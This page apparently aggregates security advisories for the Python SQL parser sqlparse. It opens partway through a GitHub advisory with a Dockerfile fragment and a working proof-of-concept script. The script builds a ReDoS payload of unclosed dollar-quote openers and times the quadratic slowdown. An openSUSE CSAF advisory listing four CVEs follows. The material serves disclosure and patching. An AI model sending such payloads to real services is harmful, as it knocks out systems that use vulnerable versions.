build-essential \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists. With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n import sqlparse\n from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n \"\"\"Generate N unique unmatched dollar-quote openers.\n\n Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n but never has a closing delimiter, so the regex engine must scan\n the entire remaining string before giving up on each one.\n \"\"\"\n return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n payload = make_payload(n)\n byte_len = len(payload.encode())\n t_start = time.perf_counter()\n try:\n sqlparse.parse(payload)\n status = \"ok\"\n except SQLParseError as exc:\n status = f\"SQLParseError({exc})\"\n except Exception as exc:\n status = f\"Exception({type(exc).__name__}: {exc})\"\n elapsed = time.perf_counter() - t_start\n\n results.append((n, byte_len, elapsed, status))\n print(f\"n={n:\u003e5} bytes={byte_len:\u003e7} elapsed={elapsed:\u003e8.3f}s status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n n_prev, _, t_prev, _ = results[i - 1]\n n_curr, _, t_curr, _ = results[i]\n if t_prev \u003e 0:\n ratio = t_curr / t_prev\n n_ratio = n_curr / n_prev\n print(f\" n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2] # n=1000\n_, _, t_2000, _ = results[3] # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n ratio_1000_2000 = t_2000 / t_1000\nelse:\n ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n print()\n print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n print(f\" Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n print(\" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n sys.exit(0)\nelse:\n print()\n print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n print(f\" Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n print(\" The host may be too fast or JIT effects obscured the result.\")\n print(\" Try larger sample sizes or re-run on a slower host.\")\n sys.exit(1)\n```",
"id": "GHSA-prg7-hcfm-mfcr",
"modified": "2026-08-17T17:49:55Z",
"published": "2026-08-17T17:49:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
},
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
},
{
"type": "PACKAGE",
"url": "https://github.com/andialbrecht/sqlparse"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)"
}
OPENSUSE-SU-2026:11557-1
Vulnerability from csaf_opensuse - Published: 2026-08-19 00:00 - Updated: 2026-08-19 00:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64 | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "python313-sqlparse-0.6.0-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the python313-sqlparse-0.6.0-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-11557",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_11557-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-54284 page",
"url": "https://www.suse.com/security/cve/CVE-2026-54284/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-59893 page",
"url": "https://www.suse.com/security/cve/CVE-2026-59893/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-59894 page",
"url": "https://www.suse.com/security/cve/CVE-2026-59894/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-71491 page",
"url": "https://www.suse.com/security/cve/CVE-2026-71491/"
}
],
"title": "python313-sqlparse-0.6.0-1.1 on GA media",
"tracking": {
"current_release_date": "2026-08-19T00:00:00Z",
"generator": {
"date": "2026-08-19T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:11557-1",
"initial_release_date": "2026-08-19T00:00:00Z",
"revision_history": [
{
"date": "2026-08-19T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python313-sqlparse-0.6.0-1.1.aarch64",
"product": {
"name": "python313-sqlparse-0.6.0-1.1.aarch64",
"product_id": "python313-sqlparse-0.6.0-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python314-sqlparse-0.6.0-1.1.aarch64",
"product": {
"name": "python314-sqlparse-0.6.0-1.1.aarch64",
"product_id": "python314-sqlparse-0.6.0-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "python313-sqlparse-0.6.0-1.1.ppc64le",
"product": {
"name": "python313-sqlparse-0.6.0-1.1.ppc64le",
"product_id": "python313-sqlparse-0.6.0-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python314-sqlparse-0.6.0-1.1.ppc64le",
"product": {
"name": "python314-sqlparse-0.6.0-1.1.ppc64le",
"product_id": "python314-sqlparse-0.6.0-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "python313-sqlparse-0.6.0-1.1.s390x",
"product": {
"name": "python313-sqlparse-0.6.0-1.1.s390x",
"product_id": "python313-sqlparse-0.6.0-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python314-sqlparse-0.6.0-1.1.s390x",
"product": {
"name": "python314-sqlparse-0.6.0-1.1.s390x",
"product_id": "python314-sqlparse-0.6.0-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "python313-sqlparse-0.6.0-1.1.x86_64",
"product": {
"name": "python313-sqlparse-0.6.0-1.1.x86_64",
"product_id": "python313-sqlparse-0.6.0-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python314-sqlparse-0.6.0-1.1.x86_64",
"product": {
"name": "python314-sqlparse-0.6.0-1.1.x86_64",
"product_id": "python314-sqlparse-0.6.0-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-sqlparse-0.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64"
},
"product_reference": "python313-sqlparse-0.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-sqlparse-0.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le"
},
"product_reference": "python313-sqlparse-0.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-sqlparse-0.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x"
},
"product_reference": "python313-sqlparse-0.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-sqlparse-0.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64"
},
"product_reference": "python313-sqlparse-0.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-sqlparse-0.6.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64"
},
"product_reference": "python314-sqlparse-0.6.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-sqlparse-0.6.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le"
},
"product_reference": "python314-sqlparse-0.6.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-sqlparse-0.6.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x"
},
"product_reference": "python314-sqlparse-0.6.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-sqlparse-0.6.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
},
"product_reference": "python314-sqlparse-0.6.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-54284",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-54284"
}
],
"notes": [
{
"category": "general",
"text": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-54284",
"url": "https://www.suse.com/security/cve/CVE-2026-54284"
},
{
"category": "external",
"summary": "SUSE Bug 1275459 for CVE-2026-54284",
"url": "https://bugzilla.suse.com/1275459"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-08-19T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-54284"
},
{
"cve": "CVE-2026-59893",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-59893"
}
],
"notes": [
{
"category": "general",
"text": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-59893",
"url": "https://www.suse.com/security/cve/CVE-2026-59893"
},
{
"category": "external",
"summary": "SUSE Bug 1275461 for CVE-2026-59893",
"url": "https://bugzilla.suse.com/1275461"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-08-19T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-59893"
},
{
"cve": "CVE-2026-59894",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-59894"
}
],
"notes": [
{
"category": "general",
"text": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, sqlparse/filters/output.py fails to escape existing backslashes before quotes in sqlparse.format output_format=\u0027python\u0027 and output_format=\u0027php\u0027 and the corresponding sqlformat -l modes, allowing crafted SQL to terminate the generated string and inject Python or PHP code when a downstream consumer executes or imports the generated source. This issue is fixed in version 0.6.0.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-59894",
"url": "https://www.suse.com/security/cve/CVE-2026-59894"
},
{
"category": "external",
"summary": "SUSE Bug 1275460 for CVE-2026-59894",
"url": "https://bugzilla.suse.com/1275460"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-08-19T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-59894"
},
{
"cve": "CVE-2026-71491",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-71491"
}
],
"notes": [
{
"category": "general",
"text": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, group_comments in sqlparse/engine/grouping.py repeatedly rescans comment-only statements before the MAX_GROUPING_TOKENS guard, causing quadratic CPU consumption through sqlparse.parse() and sqlparse.format(sql, strip_comments=True). This issue is fixed in version 0.6.0.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-71491",
"url": "https://www.suse.com/security/cve/CVE-2026-71491"
},
{
"category": "external",
"summary": "SUSE Bug 1275466 for CVE-2026-71491",
"url": "https://bugzilla.suse.com/1275466"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python313-sqlparse-0.6.0-1.1.x86_64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.aarch64",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.ppc64le",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.s390x",
"openSUSE Tumbleweed:python314-sqlparse-0.6.0-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-08-19T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-71491"
}
]
}
PYSEC-2026-3698
Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16Summary
